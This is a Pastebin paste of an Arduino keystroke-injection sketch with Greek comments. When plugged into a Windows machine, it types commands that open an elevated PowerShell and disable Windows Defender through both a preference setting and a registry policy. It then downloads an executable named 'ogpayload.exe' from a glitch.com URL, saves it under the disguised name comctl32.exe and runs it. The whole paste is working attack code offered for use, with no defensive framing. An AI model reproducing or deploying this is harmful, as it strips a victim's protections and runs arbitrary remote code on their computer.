SHARE
TWEET

Arduino keyboard injection example

a guest Apr 23rd, 2019 58 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //ορισμος της βιβλιοθηκης
  2. #include "Keyboard.h"
  3.  
  4. void typeKey(uint8_t key)
  5. {
  6.   Keyboard.press(key);
  7.   delay(50);
  8.   Keyboard.release(key);
  9. }
  10.  
  11. //η κυρια συναρτηση που θα τρεξει μια φορα
  12. void setup()
  13. {
  14.   //αρχη της βιβλιοθηκης
  15.   Keyboard.begin();
  16.  
  17.   //παυση 500ms
  18.   delay(500);
  19.  
  20.   delay(2000);
  21.  
  22.   //πληκτρολογηση του windows key
  23.   Keyboard.press(KEY_LEFT_GUI);
  24.  
  25.   //πληκτρολογηση του r
  26.   Keyboard.press('r');
  27.  
  28.   //τελος πληκτρολογησης
  29.   Keyboard.releaseAll();
  30.  
  31.   delay(300);
  32.  
  33.   //πληκτρολογηση χαρακτηρων
  34.   Keyboard.print("cmd");
  35.  
  36.   //πληκτρολογηση του enter
  37.   typeKey(KEY_RETURN);
  38.  
  39.   delay(100);
  40.  
  41.   Keyboard.print("test github.com/TasosY2K");
  42.  
  43.   delay(100);
  44.  
  45.   Keyboard.press(KEY_LEFT_GUI);
  46.   Keyboard.press('r');
  47.   Keyboard.releaseAll();
  48.  
  49.   delay(300);
  50.  
  51.   Keyboard.print("powershell Start-Process powershell -Verb runAs");
  52.  
  53.   typeKey(KEY_RETURN);
  54.  
  55.   delay(10000);
  56.  
  57.   Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
  58.  
  59.   typeKey(KEY_RETURN);
  60.  
  61.   Keyboard.print("Set-Itemproperty -path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender' -Name 'DisableAntiSpyware' -value '1'");
  62.  
  63.   typeKey(KEY_RETURN);
  64.  
  65.   Keyboard.print("$url = 'https://cdn.glitch.com/9b056378-bf74-4369-84f2-24a449d0943e%2Fogpayload.exe?1553058647982';");
  66.  
  67.   typeKey(KEY_RETURN);
  68.  
  69.   Keyboard.print("$file = 'C:\\Users\\comctl32.exe';");
  70.  
  71.   typeKey(KEY_RETURN);
  72.  
  73.   Keyboard.print("$down = New-Object System.Net.WebClient; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");
  74.  
  75.   typeKey(KEY_RETURN);
  76.  
  77.   // Ending stream
  78.   Keyboard.end();
  79. }
  80.  
  81. /* Unused endless loop */
  82. void loop() {}
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top